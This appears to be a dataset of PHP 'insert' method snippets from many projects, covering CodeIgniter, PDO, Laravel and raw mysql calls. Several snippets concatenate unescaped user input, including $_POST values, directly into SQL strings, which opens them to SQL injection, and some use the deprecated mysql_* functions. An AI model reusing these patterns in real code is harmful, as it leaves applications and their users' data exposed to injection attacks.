"function insert() {\n\t\t$sql = \"INSERT INTO lessons\n\t\t\t\tVALUES (?, ?, ?, ?, ?)\";\n\t\t\n\t\t$this->db->query($sql, array($this->lessons_id, $this->name, $this->date, $this->active, $this->rank));\n\t\t$this->last_insert_id = $this->db->insert_id();\t\t\n\t\t\n\t}",
"function insert($data)\n {\n $this->db->insert($this->table, $data);\n }",
"function insert() {\n\t \t \n\t \t$sql = \"INSERT INTO evs_database.evs_identification (idf_identification_detail_en, idf_identification_detail_th, idf_pos_id, idf_ctg_id)\n\t \t\t\tVALUES(?, ?, ?, ?)\";\n\t\t \n\t \t$this->db->query($sql, array($this->idf_identification_detail_en, $this->idf_identification_detail_th, $this->idf_pos_id, $this->idf_ctg_id));\n\t\n\t }",
"public function insert()\n {\n if(empty($this->attributes)){\n return;\n }\n if ($this->isAutoInc) {\n $columlList = \" (\";\n $valuelList = \" (\";\n foreach ($this->attributes as $column => $value) {\n $columlList .= $column . \", \";\n $valuelList .= \":\".$column . \", \";\n }\n $columlList = str_last_replace(\", \", \")\", $columlList);\n $valuelList = str_last_replace(\", \", \")\", $valuelList);\n $sqlQuery = \"INSERT INTO \" . $this->table . $columlList . \" VALUES\" . $valuelList;\n\n Db::instance()->execute($sqlQuery,$this->attributes);\n #println($sqlQuery, \"blue\");\n }\n }",
"private function addData ()\n {\n foreach ($this->data as $key=>$value)\n {\n $keys[] = $key;\n $values[] = $value;\n \n }\n $cols = implode($keys, \",\");\n $dataValues = \"'\".implode($values, \"','\").\"'\";\n $query = \"INSERT INTO `$this->tablename`($cols)VALUES($dataValues);\";\n \n $conn = $this->DB->conn;\n \n $sql = $conn->query($query);\n \n if($sql == TRUE) return TRUE;\n else \n {\n \n throw new Exception(\"Error : Data Not inserted to database :( \".$conn->error);\n \n }\n \n }",
"protected function _insert()\n\t{\n\t\t$this->date_added = \\Core\\Date::getInstance(null,\\Core\\Date::SQL_FULL, true)->toString();\n\t\t$this->date_modified = $this->date_added;\n\t\t$this->last_online = $this->date_modified;\n\t\t$this->activity_open = $this->date_modified;\n\t\t$this->language_id = \\Core\\Base\\Action::getModule('Language')->getLanguageId();\n\t}",
"public function _insert($data)\n {\n $this->insert($data);\n }",
"public function insert() {\n\t\t$this->insert_user();\n\t}",
"public static function insertData($data){\n DB::table('auctions')->insert($data);\n }",
"public function insert() {\r\n // Rôle : insérer l'objet courant dans la base de données\r\n // Retour : true / false\r\n // Paramètre : aucun\r\n \r\n // Vérification de l'id\r\n if (!empty($this->getId())) {\r\n debug(get_class($this).\"->insert() : l'objet courant a déjà un id\");\r\n return false;\r\n }\r\n \r\n // Construction de la requête\r\n $sql = \"INSERT INTO `\".$this->getTable().\"` SET \";\r\n $param = [];\r\n $start = true;\r\n \r\n foreach ($this->getChamps() as $nom => $champs) {\r\n if ($nom === $this->getPrimaryKey() or !$champs->getAttribut(\"inBdd\")) {\r\n continue;\r\n }\r\n if ($start) {\r\n $sql .= \"`$nom` = :$nom\";\r\n $start = false;\r\n } else {\r\n $sql .= \", `$nom` = :$nom\";\r\n }\r\n \r\n $param[\":$nom\"] = $champs->getValue();\r\n }\r\n \r\n $sql .= \";\";\r\n \r\n // Préparation de la requête\r\n $req = self::getBdd()->prepare($sql);\r\n \r\n // Exécution de la requête\r\n if (!$req->execute($param)) {\r\n debug(get_class($this).\"->insert() : échec de la requête $sql\");\r\n return false;\r\n }\r\n \r\n // Assignation de l'id\r\n if ($req->rowCount() === 1) {\r\n $this->set($this->getPrimaryKey(), self::getBdd()->lastInsertId());\r\n return true;\r\n } else {\r\n debug(get_class($this).\"->insert() : aucune entrée, ou bien plus d'une entrée, créée\");\r\n return false;\r\n }\r\n }",
"public function insert() {\n $this->observer->idchangemoney = $this->connection->insert(\"ren_change_money\", array(\n \"`change`\" => $this->observer->change,\n \"`year`\" => $this->observer->year,\n \"`idmoney`\" => $this->observer->money->idmoney\n ), $this->user->iduser);\n }",
"public function insert(){\n\t\tif(!mysql_query(\"INSERT INTO $this->tabla (nombre) VALUES ('$this->nombre')\")){\n\t\t\tthrow new Exception('Error insertando renglón');\n\t\t}\n\t}",
"public function insert($tables,$data){\n $this->db->insert($tables,$data);\n }",
"public function insert($tables,$data){\n $this->db->insert($tables,$data);\n }",
"public function insert($tables,$data){\n $this->db->insert($tables,$data);\n }",
"public function insert() {\n \n }",
"public function insert_data_reservasi($data)\n\t {\n\t\t$this->db->insert('tbb_reservasi', $data); \n\t }",
"function insert() {\n\t\t$sql = \"INSERT INTO \".$this->hr_db.\".hr_amphur (amph_name, amph_name_en, amph_pv_id, amph_active)\n\t\t\t\tVALUES(?, ?, ?, ?)\";\n\t\t$this->hr->query($sql, array( $this->amph_name, $this->amph_name_en, $this->amph_pv_id, $this->amph_active));\n\t\t$this->last_insert_id = $this->hr->insert_id();\n\t}",
"public function insert($datos_){\n $id=$datos_->getId();\n$nombre_proyecto=$datos_->getNombre_proyecto();\n$nombre_actividad=$datos_->getNombre_actividad();\n$modalidad_participacion=$datos_->getModalidad_participacion();\n$responsable=$datos_->getResponsable();\n$fecha_realizacion=$datos_->getFecha_realizacion();\n$producto=$datos_->getProducto();\n$semillero_id=$datos_->getSemillero_id()->getId();\n\n try {\n $sql= \"INSERT INTO `datos_`( `id`, `nombre_proyecto`, `nombre_actividad`, `modalidad_participacion`, `responsable`, `fecha_realizacion`, `producto`, `semillero_id`)\"\n .\"VALUES ('$id','$nombre_proyecto','$nombre_actividad','$modalidad_participacion','$responsable','$fecha_realizacion','$producto','$semillero_id')\";\n return $this->insertarConsulta($sql);\n } catch (SQLException $e) {\n throw new Exception('Primary key is null');\n }\n }",
"function insert()\n\t{\n\t\t$nama = $_POST ['nama'];\n\t\t$tipe = $_POST ['tipe'];\n\t\t$harga = $_POST ['harga'];\n\t\t$bintang = $_POST ['bintang'];\n\t\t$fasilitas = $_POST ['fasilitas'];\n\t\t$strategis = $_POST ['strategis'];\n\n\t\t//save ke db (nama_lengkap dan alamat sesuai nama tabel di DB)\n\t\t$data = array('nama_hotel'=> $nama, 'tipe_kamar'=> $tipe, 'harga'=> $harga, 'bintang'=> $bintang, 'fasilitas'=> $fasilitas, 'strategis'=> $strategis);\n\t\t$tambah = $this->model_alternatif->tambahData('alternatif', $data);\n\t\tif($tambah >0)\n\t\t{\n\t\t\tredirect ('Alternatif/index');\n\t\t}\n\n\t\telse\n\t\t{\n\t\t\techo 'Gagal Disimpan';\n\t\t}\n\n\t}",
"function insert(){\n\t\t\t$result = $this->consult();\n\t\t\tif(count($result) > 0){\n\t\t\t\t$this->form_data[\"id_paciente\"] = $result[0]->id_paciente;\n\t\t\t\t$this->id_paciente = $result[0]->id_paciente;\n\t\t\t\treturn $this->update();\n\t\t\t}\n\n\t\t\ttry{\n\t\t\t\t$this->db->trans_start();\n\t\t\t\t$this->db->insert('paciente', $this->form_data);\n\t\t\t\t$this->db->trans_complete();\n\t\t\t\treturn array(\"message\"=>\"ok\");\n\t\t\t} catch (Exception $e){\n\t\t\t\treturn array(\"message\"=>\"error\");\n\t\t\t}\n\t\t}",
"protected function insert()\n\t{\n\t\t$query = $this->connection->prepare\n\t\t(\"\n\t\t\tinsert into\n\t\t\t\tBooth (BoothNum)\n\t\t\t\tvalues (?)\n\t\t\");\n\n\t\t$query->execute(array_values($this->fields));\n\n\t}",
"public function insert_data( $data,$table)\n {\n \n $this->db->insert('sewa',$data);\n \n }",
"public function inserir()\n {\n }",
"public function insert()\n {\n \n }",
"public function insert($data){\n\t\t\t$this->name=trim($data['name']);\n\t\t\t$this->rfid=trim($data['rfid']);\n\t\t\t$this->created_at=date('Y/m/d H:i:s');\n\t\t\ttry {\n\t\t\t\t$connect = Database::connect();\n\t\t\t\t$query='INSERT INTO vehicles (name, rfid, created_at) VALUES (:name, :rfid, :created_at)';\n\t\t\t\t$statement = $connect->prepare($query);\n\t\t\t\t$statement->bindValue(':name', $this->name);\n\t\t\t\t$statement->bindValue(':rfid', $this->rfid);\n\t\t $statement->bindValue(':created_at', $this->created_at);\n\t\t return $statement->execute();\n\t\t\t} catch (\\Exception $e) {\n\t\t\t\techo $e;\n\t\t\t}\n\t\t}",
"function inserir() {\n\t\t$this->sql = mysql_query(\"INSERT INTO suporte (user_cad, data_cad, id_regiao, exibicao, tipo, prioridade, assunto, mensagem, arquivo, status, status_reg,suporte_pagina)\n\t\t\t\t\t VALUES\t('$this->id_user_cad ','$this->data_cad','$this->id_regiao', '$this->exibicao', '$this->tipo','$this->prioridade', '$this->assunto', '$this->menssagem', '$this->tipo_arquivo','1','1','$this->pagina');\") or die(mysql_error());\n\t\t\t\t\t \n\t\t\t\t\t \n\t\t\t\n\t\t}",
"protected function _insert()\n {\n \n }",
"protected function _insert()\n {\n \n }",
"public function insert()\n {\n }",
"public function insert()\n {\n }",
"public static function insertData($data){\n \n DB::table('users')->insert($data);\n \n \n }",
"function insert(){\n $nombre= $_POST['nombre'];\n $apellido= $_POST['apellido'];\n $telefono= $_POST['telefono'];\n\n $this->model->insert(['nombre'=>$nombre , 'apellido'=>$apellido,'telefono'=>$telefono]);\n $url= constant('URL').\"alumno\";\n header(\"Location: $url\");\n // $this->index();\n }",
"function form_insert($data){\n\t\t$this->db->insert('annonce', $data);\n\t}",
"function insert($data)\r\n\t{\r\n\t\t$this->db->insert_batch('users', $data);\r\n\t}",
"public function persist (){\n \n $this->query = \"INSERT INTO libros(titulo,autor,editorial) VALUES (:titulo, :autor, :editorial)\";\n\n // $this->parametros['id']=$user_data[\"id\"];\n $this->parametros['titulo']=$this->titulo;\n $this->parametros['autor']=$this->autor;\n $this->parametros['editorial']=$this->editorial;\n \n $this->get_results_from_query();\n\n\n $this->mensaje = \"Libro agregado exitosamente\";\n \n }",
"public function insertar($data){\n\t\t\t$this->db->insert('tareas',array(\n\t\t\t\t'titulo'=>$data['titulo'],\n\t\t\t\t'descripcion'=>$data['descripcion'],\n\t\t\t\t'id_estado'=>1,\n\t\t\t\t'fecha_alta'=>date('Y-m-d H:i:s'),\n\t\t\t\t'fecha_modificacion'=>date('Y-m-d H:i:s'),\n\t\t\t\t'fecha_baja'=>null\n\t\t\t\t)\n\t\t\t);\n\t\t}",
"public function insertData (array $params);",
"public function insertData()\n\t{\n\t\t$data = array(\n\t\t\t/* 'id' yang dikiri harus sama seperti di table\n\t\t\t'id' yang dikanan harus menurut name inputnya */\n\t\t\t'id_transaksi' => $this->input->post('id_transaksi'),\n\t\t\t'id_pelanggan' => $this->input->post('id_pelanggan'),\n\t\t\t'order_id' => $this->input->post('order_id'),\n\t\t\t'message' => $this->input->post('message'),\n\t\t\t'tgl_kirim' => $this->input->post('tgl_kirim'),\n\t\t\t'tgl_terima' => $this->input->post('tgl_terima')\n\t\t);\n\t\t/* jika semua sama sperti di table\n\t\tgunakan versi simple seprti berikut */\n\t\t$data = $this->input->post();\n\t\t/* eksekusi query insert into \"transaksi\" diisi dengan variable $data\n\t\tface2face ae lek bingung :| */\n\t\t$this->db->insert(\"transaksi\",$data);\n\t}",
"function insert() {\n\t \t$sql = \"INSERT INTO evs_database.evs_key_component (kcp_key_component_detail_en, kcp_key_component_detail_th, kcp_cpn_id)\n\t \t\t\tVALUES(?, ?, ?)\";\n\t\t \n\t \t$this->db->query($sql, array($this->kcp_key_component_detail_en, $this->kcp_key_component_detail_th, $this->kcp_cpn_id));\n\t\n\t }",
"public function insertDb(){\r\n\t\t\t$User_nom = addslashes($this -> getNom()) ;\r\n\t\t\t$User_prenom = addslashes($this -> getPrenom()) ;\r\n\t\t\t$User_pseudo = addslashes($this -> getPseudo());\r\n\t\t\t$User_pw = $this -> getPw();\r\n\t\t\t$User_email = addslashes($this -> getEmail());\r\n\t\t\t$VilleId = addslashes($this -> getVilleId()) ;\r\n\t\t\t$User_tel = addslashes($this -> getTel()) ;\r\n\t\t\t$Date_ins = $this -> getDateIns();\r\n\t\t\t$Date_modif = $this -> getDateModif();\r\n\t\t\t$VilleId = $this -> getVilleId();\r\n $User_nletter = $this -> getNLetter() ;\r\n $User_etat = $this -> getEtat();\r\n $nb = $this -> getNbNegativeUsers();\r\n $User_inscrit = $this -> getInscrit();//Ce user refuse de s'inscrire\r\n\t\t\tif(!empty($User_pseudo) && !empty($User_email) && !empty($User_tel)){//Si les champs obligatoires sont renseignes\r\n\t\t\t\t$query = \"insert into UserTab values(\".\r\n\t\t\t\t \"UserId,\".\r\n\t\t\t\t \"$VilleId,\".\r\n\t\t\t\t\t \"'\".$User_pseudo.\"',\".\r\n\t\t\t\t \"'\".$User_nom.\"',\". \r\n\t\t\t\t \"'\".$User_prenom.\"',\". \r\n\t\t\t\t \"'\".$Date_ins.\"',\".\t\t \r\n\t\t\t\t \"'\".$Date_modif.\"',\".\t\r\n\t\t\t\t \"'\".$User_email.\"',\". \r\n\t\t\t\t \"'\".$User_tel.\"',\".\r\n\t\t\t\t\t \"password(\\\"\".$User_pw.\"\\\"),\". //fonction password de MySQL crypte une chaine de caractere.\r\n\t\t\t\t\t\t\t\t // J'utilise \\\" pour tenir compte des caracteres speciaux de MySQL tel que \"'\" , \"*\" , etc \r\n\t\t\t\t $User_nletter .\",\".\r\n $User_etat.\",\".\r\n $User_inscrit.\r\n\t\t\t\t \")\";\r\n\r\n\t\t\t\t/*** Execution de la requete preparer ***/\r\n\t\t $r = execute($query);\r\n if($User_nletter == 1 ){//On insere son mail dans NewsLetterTab si ce user a accepter de recevoir les anonces\r\n $res = execute(\"insert into NewsLetterTab values(NewsLetterId , '$User_email')\");\r\n }\r\n\r\n\r\n\t\t\t\t/*** Recupere l'autoincrement pour l'UserId de cet UserTab ***/\r\n\t\t\t\t$User_nomtable = 'UserTab';\r\n\t\t $id = getAutoIncrementValue($User_nomtable);\r\n\t\t $this -> setUserId($id);\r\n\t\t\t}\r\n\r\n\r\n }",
"function insert() {\n\t \n\t \t$sql = \"INSERT INTO evs_database.evs_group (gru_id, gru_name, gru_head_dept,gru_company_id)\n\t \tVALUES(?, ?, ?,?)\";\n\t\t \n\t \t$this->db->query($sql, array($this->gru_id, $this->gru_name, $this->gru_head_dept ,$this->gru_company_id));\n\t }",
"protected function _insert()\n\t{\n\t}",
"function insert() {\n if(!$this->valid):\n return;\n endif;\n \n $this->name = mysql_real_escape_string($this->name);\n $this->brief = mysql_real_escape_string($this->brief);\n $this->description = mysql_real_escape_string($this->description);\n $this->games = mysql_real_escape_string($this->games);\n $this->headquarter = mysql_real_escape_string($this->headquarter);\n \n $sql = \"INSERT INTO companies\n (name, brief, description, date_founded, headquarter, website, imageURL, games, num_likes)\n VALUES\n ('$this->name', '$this->brief', '$this->description', '$this->date_founded', '$this->headquarter', '$this->website', '$this->imageURL', '$this->games', '$this->num_likes')\";\n \n if(!mysqli_query($this->con, $sql)) {\n die('Error: ' . mysqli_error($this->con));\n }\n \n //mysqli_close($con);\n \n echo \"<br>Insertion Successful!<br>\";\n }",
"function insert($data){\n try{\n $query=$this->db->conn()->prepare(\"INSERT INTO ALUMNO (NOMBRE,APELLIDO,TELEFONO) VALUES (:nombre,:apellido,:telefono)\");\n $query->execute(['nombre'=>$data['nombre'],'apellido'=>$data['apellido'],'telefono'=>$data['telefono']]);\n return true;\n }catch(PDOException $e){\n return false;\n }\n }",
"function insertData($table, $data){\n\t\t\n\t\tvalidate();\n\n\t\t$values = $cols = \"\";\n\n\t\tforeach ($data as $key => $value) {\n\t\t\t$cols .= \" \" . $key . \",\";\n\t\t\t$values .= \" \" . $value . \",\";\n\t\t}\n\n\t\t$cols = substr($cols, 0, strlen($cols) - 1);\n\t\t$values = substr($values, 0, strlen($values) - 1);\n\n\t\t$query = \"INSERT INTO $table ($cols) VALUES ($values)\";\n\n\t\t\n\t\ttry {\n\n\t\t\t$pdo = db_init();\n\n\t\t\t$pdo->exec($query);\n\n\t\t\treturn 1;\n\t\t} catch (PDOException $e) {\n\t\t\tlogging($_SERVER['PHP_SELF'] . \", 112, Error Insert Data:\". $e->getMessage() .\" ,\" . date(\"Y-m-d\") . \" \" . date(\"h:i:sa\"));\n\t\t\treturn;\n\t\t}\n\n\t}",
"function createNewSite($data){\n// var_dump($data); exit;\n if ($this->connection){\n $this->connection->beginTransaction();\n $stmt = $this->connection->prepare(\"INSERT INTO sites(name,url,description,path) VALUES (?,?,?,?)\");\n\n try {\n\n $stmt->execute(array($data['name'],$data['url'],$data['description'],$data['path']));\n $this->connection->commit();\n } catch (PDOException $e) {\n $this->connection->rollBack();\n }\n\n $this->checkError();\n\n }\n }",
"public function run()\n {\n DB::table(\"data\")->insert([\n \t\"name\"=>\"IVA\",\n \t\"data\"=>\"21\"\n ]);\n DB::table(\"data\")->insert([\n \t\"name\"=>\"DESIGN_INDEX\",\n \t\"data\"=>\"BUTTONS\"\n ]);\n\n }",
"public function insert() {\n\t$stmt = $this->_database->prepare('INSERT INTO planetterrains (planetid, terrainid, x, y) VALUES (?, ?, ?, ?)');\n\t$stmt->bind_param('iiii', $this->planetid, $this->terrainid, $this->x, $this->y);\n\t$stmt->execute();\n\t$this->refid = $this->_database->insert_id;\n\tif (\\is_array($this->deposit) && \\count($this->deposit) > 0) {\n\t $this->deposit[$this->refid]->terrainid = $this->refid;\n\t $this->deposit[$this->refid]->commit();\n\t}\n\telse if (!\\is_array($this->deposit)) {\n\t $this->deposit->terrainid = $this->refid;\n\t $this->deposit->commit();\n\t}\n }",
"public function add(){\n $tab = DB::table('student');\n $res = $tab -> insert(['name' => '小黑', 'age' => '18']);\n }",
"protected function insert() {\n $dbh = $this->getDbh();\n $table = $this->tableName;\n $data = [];\n\n foreach ($this->fillable as $key => $value) {\n $data[$key] = $this->$key;\n }\n\n $query = 'INSERT INTO `' . $table . '` VALUES (NULL,';\n $first = true;\n foreach ($data AS $k => $value) {\n if (!$first)\n $query .= ', ';\n else\n $first = false;\n $query .= ':'.$k;\n }\n $query .= ')';\n\n $msc = microtime(true);\n\n $sth = $dbh->prepare($query);\n $sth->execute($data);\n\n $msc = microtime(true) - $msc;\n $line = \"insert() => \" . $query . \" with \" . implode(\"', '\", $data);\n $this->writeRequestLog($line, $msc);\n\n return true;\n }",
"public function insert()\n\t{\n\t\t$crud = $this->crud->data([\n\t\t\t'first_name' => $_POST['first_name'],\n\t\t\t'last_name' => $_POST['last_name'],\n\t\t]);\n\t\t$crud->insert();\n\t\t$this->redirect('crud');\n\t}",
"public function insert($tarConvenio);",
"public function insert($contenido);",
"public function insert(){\n\n }",
"private function insertNew() {\n $sth=NULL;\n $array=array();\n $query=\"INSERT INTO table_spectacles (libelle) VALUES (?)\";\n $sth=$this->dbh->prepare($query);\n $array=array($this->libelle);\n $sth->execute($array);\n $this->message=\"\\\"\".$this->getLibelle().\"\\\" enregistré !\";\n $this->blank();\n $this->test=1;\n }",
"protected function _insert()\n {\n \t$metadata = $this->_table->info(Zend_Db_Table_Abstract::METADATA);\n \t\n \tif(isset($metadata['created_at']))\n\t\t\t$this->_data['created_at'] = new Zend_Date ();\n \tif(isset($metadata['updated_at']))\n\t\t\t$this->_data['updated_at'] = new Zend_Date ();\n }",
"public function run()\n {\n $a=[\n ['Nis'=>'123',\n 'Nama'=>'wenti',\n 'Tempat_lahir'=>'bandung',\n 'Tanggal_lahir'=>'2001-03-27',\n 'Alamat'=>'bandung',\n 'Cita-cita'=>'polwan',\n 'Hobi'=>'voli',\n 'Photo'=>'tidak ada'],\n ];\n DB::table('tugas')->insert($a);\n }",
"public function insert() {\r\n\r\n\t\ttry {\r\n\t\t\tglobal $ks_db;\r\n\t\t\tglobal $ks_log;\r\n\r\n\t\t\t$ks_db->beginTransaction ();\r\n\t\t\t\r\n\t\t\t$arrBindings = array ();\r\n\t\t\t$insertCols = '';\r\n\t\t\t$insertVals = '';\r\n\t\t\t\r\n\t\t\tif (isset ( $this->userid )) {\r\n\t\t\t\t$insertCols .= \"lp_userid, \";\r\n\t\t\t\t$insertVals .= \"?, \";\r\n\t\t\t\t$arrBindings[] = $this->userid;\r\n\t\t\t}\r\n\t\t\tif (isset ( $this->random )) {\r\n\t\t\t\t$insertCols .= \"lp_random, \";\r\n\t\t\t\t$insertVals .= \"?, \";\r\n\t\t\t\t$arrBindings[] = $this->random;\r\n\t\t\t}\r\n\t\t\tif (isset ( $this->deadline )) {\r\n\t\t\t\t$insertCols .= \"lp_deadline, \";\r\n\t\t\t\t$insertVals .= \"?, \";\r\n\t\t\t\t$arrBindings[] = $this->deadline;\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t//remove trailing commas\r\n\t\t\t$insertCols = preg_replace(\"/, $/\", \"\", $insertCols);\r\n\t\t\t$insertVals = preg_replace(\"/, $/\", \"\", $insertVals);\r\n\t\t\t\r\n\t\t\t$sql = \"INSERT INTO $this->sqlTable ($insertCols)\";\r\n\t\t\t$sql .= \" VALUES ($insertVals)\";\r\n\t\t\t\r\n\t\t\t$ks_db->query ( $sql, $arrBindings );\r\n\r\n\t\t\t//set the id property\r\n\t\t\t$this->id = $ks_db->lastInsertId();\r\n\t\t\t\r\n\t\t\t$ks_db->commit ();\r\n\t\t\t\r\n\t\t} catch(Exception $e) {\r\n\t\t\t$ks_db->rollBack ();\r\n\t\t\t$ks_log->info ( 'Fatal Error: ' . __CLASS__ . '::' . __METHOD__ . '. ' . $e->getMessage () );\r\n\t\t\t$ks_log->info ( '<br>SQL Statement: ' . $sql);\r\n\t\t\techo \"Fatal Error: \" . __CLASS__ . '::' . __METHOD__ . '. ' . $e->getMessage ();\r\n\t\t\techo \"SQL Statement: \" . $sql;\r\n\t\t}\r\n\t}",
"public function save(){\n\t\t$db = static::getDatabaseConnection();\n\t\t//Find the columns from the model\n\t\t$columns = static::$columns;\n\n\t\t//because ID is AI we dont want to put a value in it\n\t\tunset($columns[array_search('id', $columns)]);\n\t\t//Same with timestamp\n\t\tunset($columns[array_search('timestamp', $columns)]);\n\n\t\t//Create an insert query which gets linked to the database\n\t\t$query = \"INSERT INTO \" . static::$tableName . \" (\". implode(\",\", $columns) . \") VALUES (\";\n\n\t\t//create a variable called insesrtcols. This is where we put the values\n\t\t$insertcols = [];\n\t\t//For each of the columns in the columns array, add that column into the insert cols array, and seperate it with a :\n\t\tforeach ($columns as $column) {\n\t\t\tarray_push($insertcols, \":\" . $column);\n\t\t}\n\t\t//turn the insertcols array into 1 string and put a , between each entry\n\t\t$query .= implode(\",\", $insertcols);\n\t\t//close the query\n\t\t$query .= \")\";\n\n\t\t//Prepare the query\n\t\t$statement = $db->prepare($query);\n\n\t\t//Foreach of the columns run this function\n\t\tforeach ($columns as $column) {\n\t\t\t//Attach the value to each of the columns\n\t\t\t//Hash the password\n\t\t\tif($column === 'password'){\n\t\t\t\t$this->$column = password_hash($this->$column, PASSWORD_DEFAULT);\n\t\t\t}\n\t\t\t$statement->bindValue(\":\" . $column , $this->$column);\n\t\t}\n\n\t\t//Run the query\n\t\t$statement->execute();\n\n\t\t//Get the id of the query which was just added\n\t\t$this->id = $db->lastInsertID();\n\t}",
"function insert() {\n\t\t$solic = json_decode($_POST['DATA']);\n\t\t$service = new CompraService();\n\t\tif($service->insert($solic))\n\t\t\thttp_response_code();\n\t\telse\n\t\t\thttp_response_code(500);\n\t}",
"public function insert(){\n\t\t$parametro = func_get_args();\n\t\t$resultado = $this->execSql($this->INSERT,$parametro);\n//\t\t\tdie();\n\t\tif(!$resultado){\n\t\t\t$this->onError(\"COD_INSERT\",$this->INSERT);\n\t\t}\n\t\treturn $resultado;\n\t}",
"protected function insert()\n {\n $insert = 'INSERT INTO users (first_name, last_name, email, password)\n VALUES (:first_name, :last_name, :email, :password)';\n $statement = self::$dbc->prepare($insert);\n unset($this->attributes['id']);\n foreach ($this->attributes as $key => $value) {\n $statement->bindValue(\":$key\", $value, PDO::PARAM_STR);\n }\n $statement->execute();\n $this->attributes['id'] = self::$dbc->lastInsertId();\n }",
"public function insert() {\n $sql = \"INSERT INTO contratos (numero_contrato, objeto_contrato, presupuesto, fecha_estimada_finalizacion)\n VALUES (:numero_contrato, :objeto_contrato, :presupuesto, :fecha_estimada_finalizacion)\";\n $args = array(\n \":numero_contrato\" => $this->numeroContrato,\n \":objeto_contrato\" => $this->objetoContrato,\n \":presupuesto\" => $this->presupuesto,\n \":fecha_estimada_finalizacion\" => $this->fechaEstimadaFinalizacion,\n );\n $stmt = $this->executeQuery($sql, $args);\n\n if ($stmt) {\n $this->id = $this->getConnection()->lastInsertId();\n }\n\n return !$stmt ? false : true;\n }",
"public function input_data($data,$table){\n\t\t$this->db->insert($table,$data);\n\t}",
"public function insert($table, array $data);",
"public function insert($titulos){\n// $id=$titulos->getId();\n$descripcion=$titulos->getDescripcion();\n$universidad_id=$titulos->getUniversidad_id();\n$docente_id=$titulos->getDocente_id()->getId();\n\n try {\n $sql= \"INSERT INTO `titulos`( `descripcion`, `universidad`, `docente_id`)\"\n .\"VALUES ('$descripcion','$universidad_id','$docente_id')\";\n return $this->insertarConsulta($sql);\n } catch (SQLException $e) {\n throw new Exception('Primary key is null');\n }\n }",
"public function insert()\n {\n # code...\n }",
"function insert() {\n\t\t$sql = \"INSERT INTO cost_detail (cd_fr_id, cd_seq, cd_start_time, cd_end_time, cd_hour, cd_minute, cd_cost, cd_update, cd_user_update)\n\t\t\t\tVALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)\";\n\t\t$this->ffm->query($sql, array($this->cd_fr_id, $this->cd_seq, $this->cd_start_time, $this->cd_end_time, $this->cd_hour, $this->cd_minute, $this->cd_cost, $this->cd_update, $this->cd_user_update));\n\t\t$this->last_insert_id = $this->ffm->insert_id();\n\t}",
"public function insert($producto);",
"public function run()\n {\n DB::table('kamar_operasi')->insert(array(\n array('no_kamar'=>'Operasi-001'),\n array('no_kamar'=>'Operasi-002')\n ));\n }",
"public function insertData($data){\n $this->stmt = $this->query(\"INSERT INTO users(name, email, date,gender,request) VALUES (:name, :email, :birthday, :gender, :requestDate)\");\n $this->stmt->bindValue(':name', $data['name']);\n $this->stmt->bindValue(':email', $data['email']);\n $this->stmt->bindValue(':birthday', $data['birthday']);\n $this->stmt->bindValue(':gender', $data['gender']);\n $this->stmt->bindValue(':requestDate', $data['requestDate']);\n $insert = $this->execute();\n\n\n //print('Data Insert');\n //return $this->stmt->fetchAll();\n return $insert;\n }",
"public function insert(){\n\t\t// $post->title = 'A post from the insert method';\n\t\t// $post->body = 'Some random ghibberrish';\n\t\t// $post->save();\n\n\t\t$data = array(\n\t\t\t'title' => 'A post from the insert method, using the data array',\n\t\t\t'body' => 'Some random ghibberrish, using the data array',\n\t\t\t'user_id' => 1\n\t\t);\n\n\t\tPost::create($data);\n\n\t\tdd('post inserted');\n\t}",
"public function insert()\n {\n $this->id = insert($this);\n }",
"public function execInsert($database, $data)\r\n {\r\n $this->db->insert($database, $data);\r\n }",
"public function run()\n {\n //\n $data=[\n \t[\n \t\t'news_title'=>'Noi com dien',\n \t\t'news_content'=>'ABC',\n \t\t'news_image'=>'bonoi1.jpg',\n \t],\n ];\n DB::table('news')->insert($data);\n }",
"function simpanTutupBulanSimuda($data){\n $this->db->insert($this->tutup_bulan_simuda,$data);\n }",
"public function insertRequestToDb()\n\t\t{\n\t\t\t$this->columnsInfo->data_seek(0);\n\t\t\t$columns = \"\";\n\t\t\t$values = \"\";\n\t\t\twhile($rowColumn = $this->columnsInfo->fetch_assoc())//$info->fetch_row\n\t\t\t{\n\t\t\t\tif($rowColumn[\"EXTRA\"] == \"auto_increment\")\n\t\t\t\t\tcontinue;\n\t\t\t\t$columns = $columns.\", \".$rowColumn[\"COLUMN_NAME\"];\n\t\t\t\t$val = \"\";\n\t\t\t\tif($rowColumn[\"COLUMN_NAME\"] == \"sid_a\")\n\t\t\t\t\t$val = $_SESSION[\"sid\"];\n\t\t\t\telse if($rowColumn[\"COLUMN_NAME\"] == \"date_a\")\n\t\t\t\t\t$val = \"now()\";\n\t\t\t\telse $val = $this->insertColumnValue($_REQUEST[$rowColumn[\"COLUMN_NAME\"]], $rowColumn[\"IS_NULLABLE\"], $rowColumn[\"DATA_TYPE\"], $rowColumn[\"CHARACTER_MAXIMUM_LENGTH\"]);\n\t\t\t\t$values = \"$values, $val\";\n\t\t\t}\n\t\t\t$columns = substr($columns, 2, strlen($columns));\n\t\t\t$values = substr($values, 2, strlen($values));\n\n\t\t\t$query = \"INSERT INTO $this->table ($columns) values($values);\";\n\t\t\t$GLOBALS[\"db\"]->query($query);\n\t\t\t//$info->free();\n\t\t}",
"public function insert_into_table(){\n // VALUES ('$this->item_id', '$this->user_id', '$this->project_id', '$this->user2_id', '$this->post_id', '$this->type', '$this->activity', '$this->date_time')\";\n $query = \"INSERT INTO $this->table_name (item_id, user_id, project_id, user2_id, post_id, post_type, date_time) \n VALUES ('$this->item_id', '$this->user_id', '$this->project_id', '$this->user2_id', '$this->post_id', '$this->type', '$this->date_time')\";\n $result = mysql_query($query);\n\n $err = mysql_error();\n if($err){\n $file = 'errors.txt';\n file_put_contents($file, $err, FILE_APPEND | LOCK_EX);\n }\n }",
"function insert(){\n //Declarar variables para recibir los datos del formuario nuevo\n $nombre=$_POST['nombre'];\n $apellido=$_POST['apellido'];\n $telefono=$_POST['telefono'];\n\n $this->model->insert(['nombre'=>$nombre,'apellido'=>$apellido,'telefono'=>$telefono]);\n $this->index();\n }",
"public function insert() {\r\n\t\t$this->getMapper()->insert($this);\r\n\t}",
"public function run()\n {\n \\DB::table('iva')->insert([\n\n \n 'porcentaje' => 16\n \n \n ]);\n }",
"public function insert($perifericos);",
